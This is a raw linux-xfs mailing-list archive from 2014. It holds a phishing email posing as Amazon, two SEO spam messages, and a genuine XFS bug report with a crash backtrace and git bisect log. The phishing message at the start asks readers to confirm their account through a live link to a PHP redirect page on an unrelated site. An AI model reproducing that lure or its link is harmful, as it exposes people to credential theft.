X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA578_CH, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC7_SA578_CH Custom Rule SA578_CH <HTML><BODY><SPAN style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(255,153,0); FONT: bold 16px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><FONT color=#ff8000 face=Arial>Notice of Policy Updates</FONT></SPAN><FONT style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px" size=2><FONT face=Arial><SPAN> </SPAN><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; TEXT-INDENT: 0px"><FONT style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT: 13px arial, sans-serif; LETTER-SPACING: normal; TEXT-INDENT: 0px" color=#000000><STRONG></STRONG></FONT><BR style="WHITE-SPACE: normal; WORD-S PACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; TEXT-INDENT: 0px"></FONT></FONT><FONT style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px" color=#000000><STRONG>Dear Amazon Costmuer,</STRONG><SPAN> </SPAN></FONT><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><SPAN style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; DISPLAY: inline !important; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We need to confirm your account information, you must confirm your amazon account before we close it .<SPAN> </SPAN></SPAN><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><SPAN style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; DISPLAY: inline !important; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">Click the link below to confirm your account information using our secure server:<SPAN> </SPAN></SPAN><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><A style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRA NSFORM: none; COLOR: rgb(17,85,204); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px" href="http://friorepuestos.com.ve/components/com_finder/models/redirection.php" target=_blank>Confirm Now</A><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><SPAN style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; DISPLAY: inline !important; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">Thanks,</SPAN><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,2 55,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><SPAN style="WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; DISPLAY: inline !important; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">Amazon team</SPAN></BODY></HTML> From ratikala@cavblog.com Sat Jan 25 19:04:14 2014 Return-Path: <ratikala@cavblog.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,HTML_MESSAGE, MIME_QP_LONG_LINE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3CF7E7F56 for <linux-xfs@oss.sgi.com>; Sat, 25 Jan 2014 19:04:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C34DDAC001 for <linux-xfs@oss.sgi.com>; Sat, 25 Jan 2014 17:04:10 -0800 (PST) X-ASG-Debug-ID: 1390698247-04bdf030eb12ce90001-w1Z2WR Received: from u.caqvblog.com ([192.3.161.118]) by cuda.sgi.com with ESMTP id 0CWM6pgSgKYhyvBm for <linux-xfs@oss.sgi.com>; Sat, 25 Jan 2014 17:04:07 -0800 (PST) X-Barracuda-Envelope-From: ratikala@cavblog.com X-Barracuda-Apparent-Source-IP: 192.3.161.118 Received: from ratikala (triband-mum-120.60.40.22.mtnl.net.in [120.60.40.22]) by u.caqvblog.com (Postfix) with ESMTP id F02315AA227D for <linux-xfs@oss.sgi.com>; Sun, 26 Jan 2014 04:04:05 +0300 (MSK) Message-ID: <413-2201410261359676@ratikala> Return-Receipt-To: ratikala@cavblog.com Disposition-Notification-To: ratikala@cavblog.com From: "Ratikala" <ratikala@cavblog.com> To: linux-xfs@oss.sgi.com Subject: Get daily new customers from google Date: Sun, 26 Jan 2014 06:33:59 +0500 X-ASG-Orig-Subj: Get daily new customers from google MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" X-Barracuda-Connect: UNKNOWN[192.3.161.118] X-Barracuda-Start-Time: 1390698247 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.42 X-Barracuda-Spam-Status: No, SCORE=1.42 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144477 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ------=_NextPart_84815C5ABAF209EF376268C8 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Dear Sir/Madam, For annual fee, we will do following: 1) List your website in Trade Di= rectories and Send you PROOF of listing=2E 2) Write NEW, innovative and= unique ARTICLE on your website, business or company=2E 3) Create 2 Pre= ss-Release and Media Item =2E=2E 4) Create Social Media Accounts=2E 5) = Create and Market a VIDEO on your company on Youtube and Video Sharing = Websites=2E 6) Create Facebook & Twitter Profiles=2E 7) Manage and i= mprove your Internet Marketing Campaign for the entire year=2E We are pro= viding Search Engine Optimization (SEO) and Internet Marketing Services to= 200+ clients in Gulf, US, Africa, UK, Asia=2E Send us an email and conta= ct details today with your Website Name=2E Regards, Ratikala=2E ratikala@cgscorporate=2Ecom=20 ------=_NextPart_84815C5ABAF209EF376268C8 Content-Type: text/html; charset=US-ASCII Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4=2E0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dunicode" http-equiv=3DContent-Type> <META name=3DGENERATOR content=3D"MSHTML 8=2E00=2E6001=2E23543"></HEAD> <BODY> <DIV><FONT size=3D2 face=3DArial><FONT face=3DCalibri><FONT size=3D2 face=3D= Verdana>Dear=20 Sir/Madam,<BR><BR><SPAN=20 style=3D"FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt"><STRONG>For= annual=20 fee, we will do following:</STRONG></SPAN></FONT><STRONG> </STRONG></DIV> <DIV> <DIV> <DIV dir=3Dltr> <DIV style=3D"FONT-FAMILY: Calibri; COLOR: rgb(0,0,0); FONT-SIZE: 12pt"> <DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>1)&nbsp;&nbsp;&nbsp; List your website=20= in&nbsp;Trade Directories and Send you PROOF of listing=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>2)&nbsp;&nbsp;&nbsp; Write NEW, innovat= ive and=20 unique ARTICLE on your website, business or company=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>3)&nbsp;&nbsp;&nbsp; Create 2 Press-Rel= ease and=20 Media Item&nbsp;=2E=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>4)&nbsp;&nbsp;&nbsp; Create Social Medi= a=20 Accounts=2E </FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>5)&nbsp;&nbsp;&nbsp; Create and Market = a VIDEO on=20 your company on Youtube and Video Sharing Websites=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>6)&nbsp;&nbsp;&nbsp; Create Facebook &a= mp;=20 Twitter Profiles=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>7)&nbsp;&nbsp;&nbsp; Manage and improve= your=20 Internet Marketing Campaign for the entire year=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>We are providing Search Engine Optimiza= tion (SEO)=20 and Internet Marketing Services to 200+ clients in Gulf, US, Africa, UK,=20= Asia=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>Send us an email and contact details to= day with=20 your Website Name=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>Regards,<BR>Ratikala=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana><A=20 href=3D"mailto:ratikala@cgscorporate=2Ecom">ratikala@cgscorporate=2Ecom</A= ></FONT></DIV></DIV></DIV></DIV></FONT></DIV></FONT></DIV></BODY></HTML> ------=_NextPart_84815C5ABAF209EF376268C8-- From ratikala@cavblog.com Sat Jan 25 19:44:22 2014 Return-Path: <ratikala@cavblog.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,HTML_MESSAGE, MIME_QP_LONG_LINE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6903C7F66 for <xfs@oss.sgi.com>; Sat, 25 Jan 2014 19:44:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 56E30304043 for <xfs@oss.sgi.com>; Sat, 25 Jan 2014 17:44:19 -0800 (PST) X-ASG-Debug-ID: 1390700658-04cbb05ba911d530001-NocioJ Received: from u.caqvblog.com ( [192.3.161.118]) by cuda.sgi.com with ESMTP id pLAVMTqdomxwBckI for <xfs@oss.sgi.com>; Sat, 25 Jan 2014 17:44:18 -0800 (PST) X-Barracuda-Envelope-From: ratikala@cavblog.com X-Barracuda-Apparent-Source-IP: 192.3.161.118 Received: from ratikala (triband-mum-120.60.40.22.mtnl.net.in [120.60.40.22]) by u.caqvblog.com (Postfix) with ESMTP id 645815AA22E7 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 04:44:17 +0300 (MSK) Message-ID: <411-22014102614411129@ratikala> Return-Receipt-To: ratikala@cavblog.com Disposition-Notification-To: ratikala@cavblog.com From: "Ratikala" <ratikala@cavblog.com> To: xfs@oss.sgi.com Subject: Get daily new customers from google Date: Sun, 26 Jan 2014 07:14:11 +0500 X-ASG-Orig-Subj: Get daily new customers from google MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" X-Barracuda-Connect: [192.3.161.118] X-Barracuda-Start-Time: 1390700658 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.42 X-Barracuda-Spam-Status: No, SCORE=1.42 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144478 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ------=_NextPart_84815C5ABAF209EF376268C8 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Dear Sir/Madam, For annual fee, we will do following: 1) List your website in Trade Di= rectories and Send you PROOF of listing=2E 2) Write NEW, innovative and= unique ARTICLE on your website, business or company=2E 3) Create 2 Pre= ss-Release and Media Item =2E=2E 4) Create Social Media Accounts=2E 5) = Create and Market a VIDEO on your company on Youtube and Video Sharing = Websites=2E 6) Create Facebook & Twitter Profiles=2E 7) Manage and i= mprove your Internet Marketing Campaign for the entire year=2E We are pro= viding Search Engine Optimization (SEO) and Internet Marketing Services to= 200+ clients in Gulf, US, Africa, UK, Asia=2E Send us an email and conta= ct details today with your Website Name=2E Regards, Ratikala=2E ratikala@cgscorporate=2Ecom=20 ------=_NextPart_84815C5ABAF209EF376268C8 Content-Type: text/html; charset=US-ASCII Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4=2E0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dunicode" http-equiv=3DContent-Type> <META name=3DGENERATOR content=3D"MSHTML 8=2E00=2E6001=2E23543"></HEAD> <BODY> <DIV><FONT size=3D2 face=3DArial><FONT face=3DCalibri><FONT size=3D2 face=3D= Verdana>Dear=20 Sir/Madam,<BR><BR><SPAN=20 style=3D"FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt"><STRONG>For= annual=20 fee, we will do following:</STRONG></SPAN></FONT><STRONG> </STRONG></DIV> <DIV> <DIV> <DIV dir=3Dltr> <DIV style=3D"FONT-FAMILY: Calibri; COLOR: rgb(0,0,0); FONT-SIZE: 12pt"> <DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>1)&nbsp;&nbsp;&nbsp; List your website=20= in&nbsp;Trade Directories and Send you PROOF of listing=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>2)&nbsp;&nbsp;&nbsp; Write NEW, innovat= ive and=20 unique ARTICLE on your website, business or company=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>3)&nbsp;&nbsp;&nbsp; Create 2 Press-Rel= ease and=20 Media Item&nbsp;=2E=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>4)&nbsp;&nbsp;&nbsp; Create Social Medi= a=20 Accounts=2E </FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>5)&nbsp;&nbsp;&nbsp; Create and Market = a VIDEO on=20 your company on Youtube and Video Sharing Websites=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>6)&nbsp;&nbsp;&nbsp; Create Facebook &a= mp;=20 Twitter Profiles=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana>7)&nbsp;&nbsp;&nbsp; Manage and improve= your=20 Internet Marketing Campaign for the entire year=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>We are providing Search Engine Optimiza= tion (SEO)=20 and Internet Marketing Services to 200+ clients in Gulf, US, Africa, UK,=20= Asia=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>Send us an email and contact details to= day with=20 your Website Name=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana>Regards,<BR>Ratikala=2E</FONT></DIV> <DIV><FONT size=3D2 face=3DVerdana></FONT>&nbsp;</DIV> <DIV><FONT size=3D2 face=3DVerdana><A=20 href=3D"mailto:ratikala@cgscorporate=2Ecom">ratikala@cgscorporate=2Ecom</A= ></FONT></DIV></DIV></DIV></DIV></FONT></DIV></FONT></DIV></BODY></HTML> ------=_NextPart_84815C5ABAF209EF376268C8-- From mlsemon35@gmail.com Sun Jan 26 13:35:51 2014 Return-Path: <mlsemon35@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 124FD7F59 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 13:35:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A4271AC003 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 11:35:47 -0800 (PST) X-ASG-Debug-ID: 1390764942-04bdf030ea1418f0001-NocioJ Received: from mail-ob0-f177.google.com (mail-ob0-f177.google.com [209.85.214.177]) by cuda.sgi.com with ESMTP id ybzjSyCB4O9GUjNg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 11:35:43 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] Received: by mail-ob0-f177.google.com with SMTP id wp18so5598994obc.22 for <xfs@oss.sgi.com>; Sun, 26 Jan 2014 11:35:42 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=+MIdkAf0ye92R61CtAKj83syATM3CzisYpzFNbQyiCg=; b=ZQf1DfSRjyVfguIzjMtuglKsRC4G+NC1vNOS66P6zJ/efw5DokB6JFPWKEDtl/nKE4 bulx5bYMx+d0RZBV1AyzrkZz/vPGT3qYwDo5/Kh/cFEkm8QnWnh22pBNZTuYrkXRisJ+ BtHD+qBakhsSS4bOTydWIojmSNMHKNhmsJlTRfMI/n0OTVxyZVV5QBaOOiJQS83gpwmk LxGdEIz4Z0xV7hEeMTAwHOpyLZ/5JJTKe5v/h8cNlAPMq5rbpLsG5GiMpFGP8whthGOj J/00CgdYZrOZ27BIiyoguM3vZmmyq85L6oC/kO+c9hwSsIO9EQqzz2ONEuCXVzz9zYtm KIsQ== X-Received: by 10.60.85.37 with SMTP id e5mr11434110oez.21.1390764942374; Sun, 26 Jan 2014 11:35:42 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id hl3sm15151479obb.0.2014.01.26.11.35.41 for <xfs@oss.sgi.com> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 26 Jan 2014 11:35:41 -0800 (PST) Message-ID: <52E56386.5040802@gmail.com> Date: Sun, 26 Jan 2014 14:35:34 -0500 From: "Michael L. Semon" <mlsemon35@gmail.com> User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss <xfs@oss.sgi.com> Subject: [NOISE] merge window blues, XFS broken Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [NOISE] merge window blues, XFS broken Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ob0-f177.google.com[209.85.214.177] X-Barracuda-Start-Time: 1390764942 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144503 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi! This is more an observation than a bug report, me trying to figure out what happened on what is now a 3-day-old kernel on 32-bit x86 (Pentium 4). The report is marked as [NOISE] because I can do this... git pull origin master git remote update # updates xfs-oss git reset --hard v3.13 git merge xfs-oss/master ...and the resulting kernel and XFS will be as smooth as silk. However, if I do this... git pull origin master git remote update # at time of pull, "Already up-to-date." git merge xfs-oss/master ...the resulting XFS will not pass this, for either v4- or v5- superblock XFS: mkfs.xfs -f $TEST_DEV # always OK mount $TEST_DEV $TEST_DIR # may succeed, may fail ls $TEST_DIR/ # may succeed, may fail umount $TEST_DEV # always fails The assertion is this (from notes taken by hand): Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 Anything after my closing is supporting data. My questions are these: 1) Could the patch "xfs: format log items write directly into the linear CIL buffer" have thrown off alignment with XFS, when combined with the kernel changes for v3.14-rc? 2) Can kernel header changes--especially for this kernfs feature that keeps getting in the way--bleed into structures that XFS uses and cause chaos? 3) Because the XFS behavior changed due to some kernel change that probably isn't going away, do I need to keep worrying about this issue? I tried to use pahole and hoped that it would point out something obvious. However, after attempting to use Perl to massage the large amount of data created by pahole, it looks like a little bit changed for XFS and a lot changed for the kernel. Lack of knowledge keeps that piece of data that must be aligned from jumping out at me. In case I botched something in my report, I can reproduce this problem at will and can try to make a better report next time. A crash dump is available. Thanks! Michael The stack trace is this (from the "crash" utility, different session): root@plbearer:/mnt/storage/crashdump# crash vmlinux System.map vmcore # `crash` initialization snipped SYSTEM MAP: System.map DEBUG KERNEL: vmlinux DUMPFILE: vmcore CPUS: 1 DATE: Fri Jan 24 10:04:35 2014 UPTIME: 00:02:26 LOAD AVERAGE: 0.50, 0.20, 0.08 TASKS: 63 NODENAME: plbearer RELEASE: 3.13.0+ VERSION: #1 Fri Jan 24 09:57:19 EST 2014 MACHINE: i686 (1794 Mhz) MEMORY: 1.2 GB PANIC: "kernel BUG at fs/xfs/xfs_message.c:107!" PID: 301 COMMAND: "mount" TASK: c5528c30 [THREAD_INFO: bca5a000] CPU: 0 STATE: TASK_RUNNING (PANIC) crash> bt PID: 301 TASK: c5528c30 CPU: 0 COMMAND: "mount" #0 [bca5bc60] crash_kexec at 7907489a #1 [bca5bcac] do_invalid_op at 790023c8 #2 [bca5bd48] error_code (via invalid_op) at 7944b2ff EAX: 00000071 EBX: a40c11bc ECX: 000002ac EDX: c5529020 EBP: bca5bd9c DS: 007b ESI: 78135a00 ES: 007b EDI: 78135a1c GS: 2342 CS: 0060 EIP: 79175065 ERR: ffffffff EFLAGS: 00010286 #3 [bca5bd7c] assfail at 79175065 #4 [bca5bda0] xfs_buf_item_format at 791cbd67 #5 [bca5bde8] xfs_log_commit_cil at 791cb4c8 #6 [bca5be4c] xfs_trans_commit at 7917c4fe #7 [bca5be78] xfs_log_sbcount at 79176043 #8 [bca5be8c] xfs_unmountfs at 791760f8 #9 [bca5beb4] xfs_fs_put_super at 79179257 #10 [bca5bec0] generic_shutdown_super at 790d7b5b #11 [bca5bedc] kill_block_super at 790d89be #12 [bca5beec] deactivate_locked_super at 790d7814 #13 [bca5befc] deactivate_super at 790d7871 #14 [bca5bf0c] mntput_no_expire at 790ef90b #15 [bca5bf28] mntput at 790f047f #16 [bca5bf30] do_mount at 790f1c66 #17 [bca5bf80] sys_mount at 790f26ed #18 [bca5bfb0] ia32_sysenter_target at 7944b5b1 EAX: 00000015 EBX: 09bd3b70 ECX: 09bd3b80 EDX: 09bd61e0 DS: 007b ESI: c0ed0000 ES: 007b EDI: 00000000 SS: 007b ESP: 77c3d2f0 EBP: 00000000 GS: 0000 CS: 0073 EIP: 6f708424 ERR: 00000015 EFLAGS: 00000246 crash> quit Bisect led me here: bde7cff67c39227c6ad503394e19e58debdbc5e3 is the first bad commit commit bde7cff67c39227c6ad503394e19e58debdbc5e3 Author: Christoph Hellwig <hch@infradead.org> Date: Fri Dec 13 11:34:02 2013 +1100 xfs: format log items write directly into the linear CIL buffer # git bisect log git bisect start # good: [d8ec26d7f8287f5788a494f56e8814210f0e64be] Linux 3.13 git bisect good d8ec26d7f8287f5788a494f56e8814210f0e64be # bad: [12e881fb6be0cada0ed4bebe6806945fb85f170a] nilfs2: implementation of NILFS_IOCTL_SET_SUINFO ioctl git bisect bad 12e881fb6be0cada0ed4bebe6806945fb85f170a # good: [de4fe30af1620b5117d65489621a5037913e7a92] Merge tag 'staging-3.14-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging git bisect good de4fe30af1620b5117d65489621a5037913e7a92 # good: [d4371f94bc003e912d4825f5c4bdf57959857073] Merge tag 'sound-3.14-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound git bisect good d4371f94bc003e912d4825f5c4bdf57959857073 # good: [e1ba84597c9012b9f9075aac283ac7537d7561ba] Merge tag 'pci-v3.14-changes' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci git bisect good e1ba84597c9012b9f9075aac283ac7537d7561ba # good: [7ebd3faa9b5b42caf2d5aa1352a93dcfa0098011] Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm git bisect good 7ebd3faa9b5b42caf2d5aa1352a93dcfa0098011 # bad: [1d32bdafaaa8bcc4c39b41ab9f674887d147f188] Merge tag 'xfs-for-linus-v3.14-rc1' of git://oss.sgi.com/xfs/xfs git bisect bad 1d32bdafaaa8bcc4c39b41ab9f674887d147f188 # good: 